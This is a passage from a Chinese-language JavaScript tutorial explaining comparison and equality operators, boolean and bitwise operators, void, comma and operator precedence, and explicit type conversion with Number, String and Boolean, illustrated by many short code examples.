如果两个运算子之中,至少有一个不是字符串,需要分成以下两种情况。

(1)原始类型值

如果两个运算子都是原始类型的值,则是先转成数值再比较。

1
2
3
4
5
6
7
8
9
10
11
5 > '4' // true
// 等同于 5 > Number('4')
// 即 5 > 4

true > false // true
// 等同于 Number(true) > Number(false)
// 即 1 > 0

2 > true // true
// 等同于 2 > Number(true)
// 即 2 > 1

上面代码中,字符串和布尔值都会先转成数值,再进行比较。

这里需要注意与NaN的比较。任何值(包括NaN本身)与NaN比较,返回的都是false

1
2
3
4
5
6
1 > NaN // false
1 <= NaN // false
'1' > NaN // false
'1' <= NaN // false
NaN > NaN // false
NaN <= NaN // false

(2)对象

如果运算子是对象,会转为原始类型的值,再进行比较。

对象转换成原始类型的值,算法是先调用valueOf方法;如果返回的还是对象,再接着调用toString方法,详细解释参见《数据类型的转换》一章。

1
2
3
4
5
6
7
8
9
var x = [2];
x > '11' // true
// 等同于 [2].valueOf().toString() > '11'
// 即 '2' > '11'

x.valueOf = function () { return '1' };
x > '11' // false
// 等同于 [2].valueOf() > '11'
// 即 '1' > '11'

两个对象之间的比较也是如此。

1
2
3
4
5
6
7
8
9
10
11
[2] > [1] // true
// 等同于 [2].valueOf().toString() > [1].valueOf().toString()
// 即 '2' > '1'

[2] > [11] // true
// 等同于 [2].valueOf().toString() > [11].valueOf().toString()
// 即 '2' > '11'

{ x: 2 } >= { x: 1 } // true
// 等同于 { x: 2 }.valueOf().toString() >= { x: 1 }.valueOf().toString()
// 即 '[object Object]' >= '[object Object]'

严格相等运算符

JavaScript 提供两种相等运算符:=====

简单说,它们的区别是相等运算符(==)比较两个值是否相等,严格相等运算符(===)比较它们是否为“同一个值”。如果两个值不是同一类型,严格相等运算符(===)直接返回false,而相等运算符(==)会将它们转换成同一个类型,再用严格相等运算符进行比较。

本节介绍严格相等运算符的算法。

(1)不同类型的值

如果两个值的类型不同,直接返回false

1
2
1 === "1" // false
true === "true" // false

上面代码比较数值的1与字符串的“1”、布尔值的true与字符串"true",因为类型不同,结果都是false

(2)同一类的原始类型值

同一类型的原始类型的值(数值、字符串、布尔值)比较时,值相同就返回true,值不同就返回false

1
1 === 0x1 // true

上面代码比较十进制的1与十六进制的1,因为类型和值都相同,返回true

需要注意的是,NaN与任何值都不相等(包括自身)。另外,正0等于负0

1
2
NaN === NaN  // false
+0 === -0 // true

(3)复合类型值

两个复合类型(对象、数组、函数)的数据比较时,不是比较它们的值是否相等,而是比较它们是否指向同一个地址。

1
2
3
{} === {} // false
[] === [] // false
(function () {} === function () {}) // false

上面代码分别比较两个空对象、两个空数组、两个空函数,结果都是不相等。原因是对于复合类型的值,严格相等运算比较的是,它们是否引用同一个内存地址,而运算符两边的空对象、空数组、空函数的值,都存放在不同的内存地址,结果当然是false

如果两个变量引用同一个对象,则它们相等。

1
2
3
var v1 = {};
var v2 = v1;
v1 === v2 // true

注意,对于两个对象的比较,严格相等运算符比较的是地址,而大于或小于运算符比较的是值。

1
2
3
4
5
6
var obj1 = {};
var obj2 = {};

obj1 > obj2 // false
obj1 < obj2 // false
obj1 === obj2 // false

上面的三个比较,前两个比较的是值,最后一个比较的是地址,所以都返回false

(4)undefined 和 null

undefinednull与自身严格相等。

1
2
undefined === undefined // true
null === null // true

由于变量声明后默认值是undefined,因此两个只声明未赋值的变量是相等的。

1
2
3
var v1;
var v2;
v1 === v2 // true

严格不相等运算符

严格相等运算符有一个对应的“严格不相等运算符”(!==),它的算法就是先求严格相等运算符的结果,然后返回相反值。

1
2
3
1 !== '1' // true
// 等同于
!(1 === '1')

上面代码中,感叹号!是求出后面表达式的相反值。

相等运算符

相等运算符用来比较相同类型的数据时,与严格相等运算符完全一样。

1
2
3
1 == 1.0
// 等同于
1 === 1.0

比较不同类型的数据时,相等运算符会先将数据进行类型转换,然后再用严格相等运算符比较。下面分成四种情况,讨论不同类型的值互相比较的规则。

(1)原始类型值

原始类型的值会转换成数值再进行比较。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1 == true // true
// 等同于 1 === Number(true)

0 == false // true
// 等同于 0 === Number(false)

2 == true // false
// 等同于 2 === Number(true)

2 == false // false
// 等同于 2 === Number(false)

'true' == true // false
// 等同于 Number('true') === Number(true)
// 等同于 NaN === 1

'' == 0 // true
// 等同于 Number('') === 0
// 等同于 0 === 0

'' == false // true
// 等同于 Number('') === Number(false)
// 等同于 0 === 0

'1' == true // true
// 等同于 Number('1') === Number(true)
// 等同于 1 === 1

'\n 123 \t' == 123 // true
// 因为字符串转为数字时,省略前置和后置的空格

上面代码将字符串和布尔值都转为数值,然后再进行比较。具体的字符串与布尔值的类型转换规则,参见《数据类型转换》一章。

(2)对象与原始类型值比较

对象(这里指广义的对象,包括数组和函数)与原始类型的值比较时,对象转换成原始类型的值,再进行比较。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 对象与数值比较时,对象转为数值
[1] == 1 // true
// 等同于 Number([1]) == 1

// 对象与字符串比较时,对象转为字符串
[1] == '1' // true
// 等同于 String([1]) == '1'
[1, 2] == '1,2' // true
// 等同于 String([1, 2]) == '1,2'

// 对象与布尔值比较时,两边都转为数值
[1] == true // true
// 等同于 Number([1]) == Number(true)
[2] == true // false
// 等同于 Number([2]) == Number(true)

上面代码中,数组[1]与数值进行比较,会先转成数值,再进行比较;与字符串进行比较,会先转成字符串,再进行比较;与布尔值进行比较,对象和布尔值都会先转成数值,再进行比较。

(3)undefined 和 null

undefinednull与其他类型的值比较时,结果都为false,它们互相比较时结果为true

1
2
3
4
5
6
7
false == null // false
false == undefined // false

0 == null // false
0 == undefined // false

undefined == null // true

(4)相等运算符的缺点

相等运算符隐藏的类型转换,会带来一些违反直觉的结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0 == ''             // true
0 == '0' // true

2 == true // false
2 == false // false

false == 'false' // false
false == '0' // true

false == undefined // false
false == null // false
null == undefined // true

' \t\r\n ' == 0 // true

上面这些表达式都不同于直觉,很容易出错。因此建议不要使用相等运算符(==),最好只使用严格相等运算符(===)。

不相等运算符

相等运算符有一个对应的“不相等运算符”(!=),它的算法就是先求相等运算符的结果,然后返回相反值。

1
2
3
4
1 != '1' // false

// 等同于
!(1 == '1')

布尔运算符

概述

布尔运算符用于将表达式转为布尔值,一共包含四个运算符。

  • 取反运算符:!
  • 且运算符:&&
  • 或运算符:||
  • 三元运算符:?:

取反运算符(!)

取反运算符是一个感叹号,用于将布尔值变为相反值,即true变成falsefalse变成true

1
2
!true // false
!false // true

对于非布尔值,取反运算符会将其转为布尔值。可以这样记忆,以下六个值取反后为true,其他值都为false

  • undefined
  • null
  • false
  • 0
  • NaN
  • 空字符串(''
1
2
3
4
5
6
7
8
9
10
!undefined // true
!null // true
!0 // true
!NaN // true
!"" // true

!54 // false
!'hello' // false
![] // false
!{} // false

上面代码中,不管什么类型的值,经过取反运算后,都变成了布尔值。

如果对一个值连续做两次取反运算,等于将其转为对应的布尔值,与Boolean函数的作用相同。这是一种常用的类型转换的写法。

1
2
3
!!x
// 等同于
Boolean(x)

上面代码中,不管x是什么类型的值,经过两次取反运算后,变成了与Boolean函数结果相同的布尔值。所以,两次取反就是将一个值转为布尔值的简便写法。

且运算符(&&)

且运算符(&&)往往用于多个表达式的求值。

它的运算规则是:如果第一个运算子的布尔值为true,则返回第二个运算子的值(注意是值,不是布尔值);如果第一个运算子的布尔值为false,则直接返回第一个运算子的值,且不再对第二个运算子求值。

1
2
3
4
5
6
7
8
9
't' && '' // ""
't' && 'f' // "f"
't' && (1 + 2) // 3
'' && 'f' // ""
'' && '' // ""

var x = 1;
(1 - 1) && ( x += 1) // 0
x // 1

上面代码的最后一个例子,由于且运算符的第一个运算子的布尔值为false,则直接返回它的值0,而不再对第二个运算子求值,所以变量x的值没变。

这种跳过第二个运算子的机制,被称为“短路”。有些程序员喜欢用它取代if结构,比如下面是一段if结构的代码,就可以用且运算符改写。

1
2
3
4
5
6
7
if (i) {
doSomething();
}

// 等价于

i && doSomething();

上面代码的两种写法是等价的,但是后一种不容易看出目的,也不容易除错,建议谨慎使用。

且运算符可以多个连用,这时返回第一个布尔值为false的表达式的值。如果所有表达式的布尔值都为true,则返回最后一个表达式的值。

1
2
3
4
5
true && 'foo' && '' && 4 && 'foo' && true
// ''

1 && 2 && 3
// 3

上面代码中,例一里面,第一个布尔值为false的表达式为第三个表达式,所以得到一个空字符串。例二里面,所有表达式的布尔值都是true,所有返回最后一个表达式的值3

或运算符(||)

或运算符(||)也用于多个表达式的求值。它的运算规则是:如果第一个运算子的布尔值为true,则返回第一个运算子的值,且不再对第二个运算子求值;如果第一个运算子的布尔值为false,则返回第二个运算子的值。

1
2
3
4
't' || '' // "t"
't' || 'f' // "t"
'' || 'f' // "f"
'' || '' // ""

短路规则对这个运算符也适用。

1
2
3
var x = 1;
true || (x = 2) // true
x // 1

上面代码中,或运算符的第一个运算子为true,所以直接返回true,不再运行第二个运算子。所以,x的值没有改变。这种只通过第一个表达式的值,控制是否运行第二个表达式的机制,就称为“短路”(short-cut)。

或运算符可以多个连用,这时返回第一个布尔值为true的表达式的值。如果所有表达式都为false,则返回最后一个表达式的值。

1
2
3
4
5
false || 0 || '' || 4 || 'foo' || true
// 4

false || 0 || ''
// ''

上面代码中,例一里面,第一个布尔值为true的表达式是第四个表达式,所以得到数值4。例二里面,所有表达式的布尔值都为false,所以返回最后一个表达式的值。

或运算符常用于为一个变量设置默认值。

1
2
3
4
5
6
7
function saveText(text) {
text = text || '';
// ...
}

// 或者写成
saveText(this.text || '')

上面代码表示,如果函数调用时,没有提供参数,则该参数默认设置为空字符串。

三元条件运算符(?:)

三元条件运算符由问号(?)和冒号(:)组成,分隔三个表达式。它是 JavaScript 语言唯一一个需要三个运算子的运算符。如果第一个表达式的布尔值为true,则返回第二个表达式的值,否则返回第三个表达式的值。

1
2
't' ? 'hello' : 'world' // "hello"
0 ? 'hello' : 'world' // "world"

上面代码的t0的布尔值分别为truefalse,所以分别返回第二个和第三个表达式的值。

通常来说,三元条件表达式与if...else语句具有同样表达效果,前者可以表达的,后者也能表达。但是两者具有一个重大差别,if...else是语句,没有返回值;三元条件表达式是表达式,具有返回值。所以,在需要返回值的场合,只能使用三元条件表达式,而不能使用if..else

1
console.log(true ? 'T' : 'F');

上面代码中,console.log方法的参数必须是一个表达式,这时就只能使用三元条件表达式。如果要用if...else语句,就必须改变整个代码写法了。

二进制位运算符

概述

二进制位运算符用于直接对二进制位进行计算,一共有7个。

  • 二进制或运算符(or):符号为|,表示若两个二进制位都为0,则结果为0,否则为1
  • 二进制与运算符(and):符号为&,表示若两个二进制位都为1,则结果为1,否则为0。
  • 二进制否运算符(not):符号为~,表示对一个二进制位取反。
  • 异或运算符(xor):符号为^,表示若两个二进制位不相同,则结果为1,否则为0。
  • 左移运算符(left shift):符号为<<,详见下文解释。
  • 右移运算符(right shift):符号为>>,详见下文解释。
  • 头部补零的右移运算符(zero filled right shift):符号为>>>,详见下文解释。

这些位运算符直接处理每一个比特位(bit),所以是非常底层的运算,好处是速度极快,缺点是很不直观,许多场合不能使用它们,否则会使代码难以理解和查错。

有一点需要特别注意,位运算符只对整数起作用,如果一个运算子不是整数,会自动转为整数后再执行。另外,虽然在 JavaScript 内部,数值都是以64位浮点数的形式储存,但是做位运算的时候,是以32位带符号的整数进行运算的,并且返回值也是一个32位带符号的整数。

1
i = i | 0;

上面这行代码的意思,就是将i(不管是整数或小数)转为32位整数。

利用这个特性,可以写出一个函数,将任意数值转为32位整数。

1
2
3
function toInt32(x) {
return x | 0;
}

上面这个函数将任意值与0进行一次或运算,这个位运算会自动将一个值转为32位整数。下面是这个函数的用法。

1
2
3
4
5
6
toInt32(1.001) // 1
toInt32(1.999) // 1
toInt32(1) // 1
toInt32(-1) // -1
toInt32(Math.pow(2, 32) + 1) // 1
toInt32(Math.pow(2, 32) - 1) // -1

上面代码中,toInt32可以将小数转为整数。对于一般的整数,返回值不会有任何变化。对于大于或等于2的32次方的整数,大于32位的数位都会被舍去。

二进制或运算符

二进制或运算符(|)逐位比较两个运算子,两个二进制位之中只要有一个为1,就返回1,否则返回0

1
0 | 3 // 3

上面代码中,03的二进制形式分别是0011,所以进行二进制或运算会得到11(即3)。

位运算只对整数有效,遇到小数时,会将小数部分舍去,只保留整数部分。所以,将一个小数与0进行二进制或运算,等同于对该数去除小数部分,即取整数位。

1
2
2.9 | 0 // 2
-2.9 | 0 // -2

需要注意的是,这种取整方法不适用超过32位整数最大值2147483647的数。

1
2
2147483649.4 | 0;
// -2147483647

二进制与运算符

二进制与运算符(&)的规则是逐位比较两个运算子,两个二进制位之中只要有一个位为0,就返回0,否则返回1

1
0 & 3 // 0

上面代码中,0(二进制00)和3(二进制11)进行二进制与运算会得到00(即0)。

二进制否运算符

二进制否运算符(~)将每个二进制位都变为相反值(0变为11变为0)。它的返回结果有时比较难理解,因为涉及到计算机内部的数值表示机制。

1
~ 3 // -4

上面表达式对3进行二进制否运算,得到-4。之所以会有这样的结果,是因为位运算时,JavaScript 内部将所有的运算子都转为32位的二进制整数再进行运算。

3的32位整数形式是00000000000000000000000000000011,二进制否运算以后得到11111111111111111111111111111100。由于第一位(符号位)是1,所以这个数是一个负数。JavaScript 内部采用补码形式表示负数,即需要将这个数减去1,再取一次反,然后加上负号,才能得到这个负数对应的10进制值。这个数减去1等于11111111111111111111111111111011,再取一次反得到00000000000000000000000000000100,再加上负号就是-4。考虑到这样的过程比较麻烦,可以简单记忆成,一个数与自身的取反值相加,等于-1。

1
~ -3 // 2

上面表达式可以这样算,-3的取反值等于-1减去-3,结果为2

对一个整数连续两次二进制否运算,得到它自身。

1
~~3 // 3

所有的位运算都只对整数有效。二进制否运算遇到小数时,也会将小数部分舍去,只保留整数部分。所以,对一个小数连续进行两次二进制否运算,能达到取整效果。

1
2
3
4
~~2.9 // 2
~~47.11 // 47
~~1.9999 // 1
~~3 // 3

使用二进制否运算取整,是所有取整方法中最快的一种。

对字符串进行二进制否运算,JavaScript 引擎会先调用Number函数,将字符串转为数值。

1
2
3
4
5
6
7
8
9
10
11
// 相当于~Number('011')
~'011' // -12

// 相当于~Number('42 cats')
~'42 cats' // -1

// 相当于~Number('0xcafebabe')
~'0xcafebabe' // 889275713

// 相当于~Number('deadbeef')
~'deadbeef' // -1

Number函数将字符串转为数值的规则,参见《数据的类型转换》一章。

对于其他类型的值,二进制否运算也是先用Number转为数值,然后再进行处理。

1
2
3
4
5
6
7
8
// 相当于 ~Number([])
~[] // -1

// 相当于 ~Number(NaN)
~NaN // -1

// 相当于 ~Number(null)
~null // -1

异或运算符

异或运算(^)在两个二进制位不同时返回1,相同时返回0

1
0 ^ 3 // 3

上面表达式中,0(二进制00)与3(二进制11)进行异或运算,它们每一个二进制位都不同,所以得到11(即3)。

“异或运算”有一个特殊运用,连续对两个数ab进行三次异或运算,a^=b; b^=a; a^=b;,可以互换它们的值。这意味着,使用“异或运算”可以在不引入临时变量的前提下,互换两个变量的值。

1
2
3
4
5
6
7
var a = 10;
var b = 99;

a ^= b, b ^= a, a ^= b;

a // 99
b // 10

这是互换两个变量的值的最快方法。

异或运算也可以用来取整。

1
12.9 ^ 0 // 12

左移运算符

左移运算符(<<)表示将一个数的二进制值向左移动指定的位数,尾部补0,即乘以2的指定次方。向左移动的时候,最高位的符号位是一起移动的。

1
2
3
4
5
6
7
8
// 4 的二进制形式为100,
// 左移一位为1000(即十进制的8)
// 相当于乘以2的1次方
4 << 1
// 8

-4 << 1
// -8

上面代码中,-4左移一位得到-8,是因为-4的二进制形式是11111111111111111111111111111100,左移一位后得到11111111111111111111111111111000,该数转为十进制(减去1后取反,再加上负号)即为-8

如果左移0位,就相当于将该数值转为32位整数,等同于取整,对于正数和负数都有效。

1
2
3
4
5
13.5 << 0
// 13

-13.5 << 0
// -13

左移运算符用于二进制数值非常方便。

1
2
3
4
5
6
7
8
9
10
11
12
var color = {r: 186, g: 218, b: 85};

// RGB to HEX
// (1 << 24)的作用为保证结果是6位数
var rgb2hex = function(r, g, b) {
return '#' + ((1 << 24) + (r << 16) + (g << 8) + b)
.toString(16) // 先转成十六进制,然后返回字符串
.substr(1); // 去除字符串的最高位,返回后面六个字符串
}

rgb2hex(color.r, color.g, color.b)
// "#bada55"

上面代码使用左移运算符,将颜色的 RGB 值转为 HEX 值。

右移运算符

右移运算符(>>)表示将一个数的二进制值向右移动指定的位数。如果是正数,头部全部补0;如果是负数,头部全部补1。右移运算符基本上相当于除以2的指定次方(最高位即符号位参与移动)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
4 >> 1
// 2
/*
// 因为4的二进制形式为 00000000000000000000000000000100,
// 右移一位得到 00000000000000000000000000000010,
// 即为十进制的2
*/

-4 >> 1
// -2
/*
// 因为-4的二进制形式为 11111111111111111111111111111100,
// 右移一位,头部补1,得到 11111111111111111111111111111110,
// 即为十进制的-2
*/

右移运算可以模拟 2 的整除运算。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
5 >> 1
// 2
// 相当于 5 / 2 = 2

21 >> 2
// 5
// 相当于 21 / 4 = 5

21 >> 3
// 2
// 相当于 21 / 8 = 2

21 >> 4
// 1
// 相当于 21 / 16 = 1

头部补零的右移运算符

头部补零的右移运算符(>>>)与右移运算符(>>)只有一个差别,就是一个数的二进制形式向右移动时,头部一律补零,而不考虑符号位。所以,该运算总是得到正值。对于正数,该运算的结果与右移运算符(>>)完全一致,区别主要在于负数。

1
2
3
4
5
6
7
8
9
10
4 >>> 1
// 2

-4 >>> 1
// 2147483646
/*
// 因为-4的二进制形式为11111111111111111111111111111100,
// 带符号位的右移一位,得到01111111111111111111111111111110,
// 即为十进制的2147483646。
*/

这个运算实际上将一个值转为32位无符号整数。

查看一个负整数在计算机内部的储存形式,最快的方法就是使用这个运算符。

1
-1 >>> 0 // 4294967295

上面代码表示,-1作为32位整数时,内部的储存形式使用无符号整数格式解读,值为 4294967295(即(2^32)-1,等于11111111111111111111111111111111)。

开关作用

位运算符可以用作设置对象属性的开关。

假定某个对象有四个开关,每个开关都是一个变量。那么,可以设置一个四位的二进制数,它的每个位对应一个开关。

1
2
3
4
var FLAG_A = 1; // 0001
var FLAG_B = 2; // 0010
var FLAG_C = 4; // 0100
var FLAG_D = 8; // 1000

上面代码设置 A、B、C、D 四个开关,每个开关分别占有一个二进制位。

然后,就可以用二进制与运算检验,当前设置是否打开了指定开关。

1
2
3
4
5
6
var flags = 5; // 二进制的0101

if (flags & FLAG_C) {
// ...
}
// 0101 & 0100 => 0100 => true

上面代码检验是否打开了开关C。如果打开,会返回true,否则返回false

现在假设需要打开ABD三个开关,我们可以构造一个掩码变量。

1
2
var mask = FLAG_A | FLAG_B | FLAG_D;
// 0001 | 0010 | 1000 => 1011

上面代码对ABD三个变量进行二进制或运算,得到掩码值为二进制的1011

有了掩码,二进制或运算可以确保打开指定的开关。

1
flags = flags | mask;

二进制与运算可以将当前设置中凡是与开关设置不一样的项,全部关闭。

1
flags = flags & mask;

异或运算可以切换(toggle)当前设置,即第一次执行可以得到当前设置的相反值,再执行一次又得到原来的值。

1
flags = flags ^ mask;

二进制否运算可以翻转当前设置,即原设置为0,运算后变为1;原设置为1,运算后变为0

1
flags = ~flags;

参考链接

其他运算符,运算顺序

void 运算符

void运算符的作用是执行一个表达式,然后不返回任何值,或者说返回undefined

1
2
void 0 // undefined
void(0) // undefined

上面是void运算符的两种写法,都正确。建议采用后一种形式,即总是使用圆括号。因为void运算符的优先性很高,如果不使用括号,容易造成错误的结果。比如,void 4 + 7实际上等同于(void 4) + 7

下面是void运算符的一个例子。

1
2
3
var x = 3;
void (x = 5) //undefined
x // 5

这个运算符的主要用途是浏览器的书签工具(Bookmarklet),以及在超级链接中插入代码防止网页跳转。

请看下面的代码。

1
2
3
4
5
6
<script>
function f() {
console.log('Hello World');
}
</script>
<a href="http://example.com" onclick="f(); return false;">点击</a>

上面代码中,点击链接后,会先执行onclick的代码,由于onclick返回false,所以浏览器不会跳转到 example.com

void运算符可以取代上面的写法。

1
<a href="javascript: void(f())">文字</a>

下面是一个更实际的例子,用户点击链接提交表单,但是不产生页面跳转。

1
2
3
<a href="javascript: void(document.form.submit())">
提交
</a>

逗号运算符

逗号运算符用于对两个表达式求值,并返回后一个表达式的值。

1
2
3
4
5
6
'a', 'b' // "b"

var x = 0;
var y = (x++, 10);
x // 1
y // 10

上面代码中,逗号运算符返回后一个表达式的值。

逗号运算符的一个用途是,在返回一个值之前,进行一些辅助操作。

1
2
3
4
var value = (console.log('Hi!'), true);
// Hi!

value // true

上面代码中,先执行逗号之前的操作,然后返回逗号后面的值。

运算顺序

优先级

JavaScript 各种运算符的优先级别(Operator Precedence)是不一样的。优先级高的运算符先执行,优先级低的运算符后执行。

1
4 + 5 * 6 // 34

上面的代码中,乘法运算符(*)的优先性高于加法运算符(+),所以先执行乘法,再执行加法,相当于下面这样。

1
4 + (5 * 6) // 34

如果多个运算符混写在一起,常常会导致令人困惑的代码。

1
2
3
4
var x = 1;
var arr = [];

var y = arr.length <= 0 || arr[0] === undefined ? x : arr[0];

上面代码中,变量y的值就很难看出来,因为这个表达式涉及5个运算符,到底谁的优先级最高,实在不容易记住。

根据语言规格,这五个运算符的优先级从高到低依次为:小于等于(<=)、严格相等(===)、或(||)、三元(?:)、等号(=)。因此上面的表达式,实际的运算顺序如下。

1
var y = ((arr.length <= 0) || (arr[0] === undefined)) ? x : arr[0];

记住所有运算符的优先级,是非常难的,也是没有必要的。

圆括号的作用

圆括号(())可以用来提高运算的优先级,因为它的优先级是最高的,即圆括号中的表达式会第一个运算。

1
(4 + 5) * 6 // 54

上面代码中,由于使用了圆括号,加法会先于乘法执行。

运算符的优先级别十分繁杂,且都是硬性规定,因此建议总是使用圆括号,保证运算顺序清晰可读,这对代码的维护和除错至关重要。

顺便说一下,圆括号不是运算符,而是一种语法结构。它一共有两种用法:一种是把表达式放在圆括号之中,提升运算的优先级;另一种是跟在函数的后面,作用是调用函数。

注意,因为圆括号不是运算符,所以不具有求值作用,只改变运算的优先级。

1
2
var x = 1;
(x) = 2;

上面代码的第二行,如果圆括号具有求值作用,那么就会变成1 = 2,这是会报错了。但是,上面的代码可以运行,这验证了圆括号只改变优先级,不会求值。

这也意味着,如果整个表达式都放在圆括号之中,那么不会有任何效果。

1
2
3
(expression)
// 等同于
expression

函数放在圆括号中,会返回函数本身。如果圆括号紧跟在函数的后面,就表示调用函数。

1
2
3
4
5
6
function f() {
return 1;
}

(f) // function f(){return 1;}
f() // 1

上面代码中,函数放在圆括号之中会返回函数本身,圆括号跟在函数后面则是调用函数。

圆括号之中,只能放置表达式,如果将语句放在圆括号之中,就会报错。

1
2
(var a = 1)
// SyntaxError: Unexpected token var

左结合与右结合

对于优先级别相同的运算符,大多数情况,计算顺序总是从左到右,这叫做运算符的“左结合”(left-to-right associativity),即从左边开始计算。

1
x + y + z

上面代码先计算最左边的xy的和,然后再计算与z的和。

但是少数运算符的计算顺序是从右到左,即从右边开始计算,这叫做运算符的“右结合”(right-to-left associativity)。其中,最主要的是赋值运算符(=)和三元条件运算符(?:)。

1
2
w = x = y = z;
q = a ? b : c ? d : e ? f : g;

上面代码的运算结果,相当于下面的样子。

1
2
w = (x = (y = z));
q = a ? b : (c ? d : (e ? f : g));

上面的两行代码,各有三个等号运算符和三个三元运算符,都是先计算最右边的那个运算符。

指数运算符(**)也是右结合的。

1
2
3
// 相当于 2 ** (3 ** 2)
2 ** 3 ** 2
// 512

语法专题

数据类型的转换

概述

JavaScript 是一种动态类型语言,变量没有类型限制,可以随时赋予任意值。

1
var x = y ? 1 : 'a';

上面代码中,变量x到底是数值还是字符串,取决于另一个变量y的值。ytrue时,x是一个数值;yfalse时,x是一个字符串。这意味着,x的类型没法在编译阶段就知道,必须等到运行时才能知道。

虽然变量的数据类型是不确定的,但是各种运算符对数据类型是有要求的。如果运算符发现,运算子的类型与预期不符,就会自动转换类型。比如,减法运算符预期左右两侧的运算子应该是数值,如果不是,就会自动将它们转为数值。

1
'4' - '3' // 1

上面代码中,虽然是两个字符串相减,但是依然会得到结果数值1,原因就在于 JavaScript 将运算子自动转为了数值。

本章讲解数据类型自动转换的规则。在此之前,先讲解如何手动强制转换数据类型。

强制转换

强制转换主要指使用Number()String()Boolean()三个函数,手动将各种类型的值,分别转换成数字、字符串或者布尔值。

Number()

使用Number函数,可以将任意类型的值转化成数值。

下面分成两种情况讨论,一种是参数是原始类型的值,另一种是参数是对象。

(1)原始类型值

原始类型值的转换规则如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// 数值:转换后还是原来的值
Number(324) // 324

// 字符串:如果可以被解析为数值,则转换为相应的数值
Number('324') // 324

// 字符串:如果不可以被解析为数值,返回 NaN
Number('324abc') // NaN

// 空字符串转为0
Number('') // 0

// 布尔值:true 转成 1,false 转成 0
Number(true) // 1
Number(false) // 0

// undefined:转成 NaN
Number(undefined) // NaN

// null:转成0
Number(null) // 0

Number函数将字符串转为数值,要比parseInt函数严格很多。基本上,只要有一个字符无法转成数值,整个字符串就会被转为NaN

1
2
parseInt('42 cats') // 42
Number('42 cats') // NaN

上面代码中,parseInt逐个解析字符,而Number函数整体转换字符串的类型。

另外,parseIntNumber函数都会自动过滤一个字符串前导和后缀的空格。

1
2
parseInt('\t\v\r12.34\n') // 12
Number('\t\v\r12.34\n') // 12.34

(2)对象

简单的规则是,Number方法的参数是对象时,将返回NaN,除非是包含单个数值的数组。

1
2
3
Number({a: 1}) // NaN
Number([1, 2, 3]) // NaN
Number([5]) // 5

之所以会这样,是因为Number背后的转换规则比较复杂。

第一步,调用对象自身的valueOf方法。如果返回原始类型的值,则直接对该值使用Number函数,不再进行后续步骤。

第二步,如果valueOf方法返回的还是对象,则改为调用对象自身的toString方法。如果toString方法返回原始类型的值,则对该值使用Number函数,不再进行后续步骤。

第三步,如果toString方法返回的是对象,就报错。

请看下面的例子。

1
2
3
4
5
6
7
8
9
var obj = {x: 1};
Number(obj) // NaN

// 等同于
if (typeof obj.valueOf() === 'object') {
Number(obj.toString());
} else {
Number(obj.valueOf());
}

上面代码中,Number函数将obj对象转为数值。背后发生了一连串的操作,首先调用obj.valueOf方法, 结果返回对象本身;于是,继续调用obj.toString方法,这时返回字符串[object Object],对这个字符串使用Number函数,得到NaN

默认情况下,对象的valueOf方法返回对象本身,所以一般总是会调用toString方法,而toString方法返回对象的类型字符串(比如[object Object])。所以,会有下面的结果。

1
Number({}) // NaN

如果toString方法返回的不是原始类型的值,结果就会报错。

1
2
3
4
5
6
7
8
9
10
11
var obj = {
valueOf: function () {
return {};
},
toString: function () {
return {};
}
};

Number(obj)
// TypeError: Cannot convert object to primitive value

上面代码的valueOftoString方法,返回的都是对象,所以转成数值时会报错。

从上例还可以看到,valueOftoString方法,都是可以自定义的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Number({
valueOf: function () {
return 2;
}
})
// 2

Number({
toString: function () {
return 3;
}
})
// 3

Number({
valueOf: function () {
return 2;
},
toString: function () {
return 3;
}
})
// 2

上面代码对三个对象使用Number函数。第一个对象返回valueOf方法的值,第二个对象返回toString方法的值,第三个对象表示valueOf方法先于toString方法执行。

String()

String函数可以将任意类型的值转化成字符串,转换规则如下。

(1)原始类型值

  • 数值:转为相应的字符串。
  • 字符串:转换后还是原来的值。
  • 布尔值true转为字符串"true"false转为字符串"false"
  • undefined:转为字符串"undefined"
  • null:转为字符串"null"
1
2
3
4
5
String(123) // "123"
String('abc') // "abc"
String(true) // "true"
String(undefined) // "undefined"
String(null) // "null"

(2)对象

String方法的参数如果是对象,返回一个类型字符串;如果是数组,返回该数组的字符串形式。

1
2
String({a: 1}) // "[object Object]"
String([1, 2, 3]) // "1,2,3"

String方法背后的转换规则,与Number方法基本相同,只是互换了valueOf方法和toString方法的执行顺序。

  1. 先调用对象自身的toString方法。如果返回原始类型的值,则对该值使用String函数,不再进行以下步骤。

  2. 如果toString方法返回的是对象,再调用原对象的valueOf方法。如果valueOf方法返回原始类型的值,则对该值使用String函数,不再进行以下步骤。

  3. 如果valueOf方法返回的是对象,就报错。

下面是一个例子。

1
2
3
4
5
6
String({a: 1})
// "[object Object]"

// 等同于
String({a: 1}.toString())
// "[object Object]"

上面代码先调用对象的toString方法,发现返回的是字符串[object Object],就不再调用valueOf方法了。

如果toString法和valueOf方法,返回的都是对象,就会报错。

1
2
3
4
5
6
7
8
9
10
11
var obj = {
valueOf: function () {
return {};
},
toString: function () {
return {};
}
};

String(obj)
// TypeError: Cannot convert object to primitive value

下面是通过自定义toString方法,改变返回值的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
String({
toString: function () {
return 3;
}
})
// "3"

String({
valueOf: function () {
return 2;
}
})
// "[object Object]"

String({
valueOf: function () {
return 2;
},
toString: function () {
return 3;
}
})
// "3"

上面代码对三个对象使用String函数。第一个对象返回toString方法的值(数值3),第二个对象返回的还是toString方法的值([object Object]),第三个对象表示toString方法先于valueOf方法执行。

Boolean()

Boolean()函数可以将任意类型的值转为布尔值。

它的转换规则相对简单:除了以下五个值的转换结果为false,其他的值全部为true

  • undefined
  • null
  • 0(包含-0+0
  • NaN
  • ''(空字符串)
1
2
3
4
5
Boolean(undefined) // false
Boolean(null) // false
Boolean(0) // false
Boolean(NaN) // false
Boolean('') // false

当然,truefalse这两个布尔值不会发生变化。

1
2
Boolean(true) // true
Boolean(false) // false

注意,所有对象(包括空对象)的转换结果都是true,甚至连false对应的布尔对象new Boolean(false)也是true(详见《原始类型值的包装对象》一章)。

1
2
3
Boolean({}) // true
Boolean([]) // true
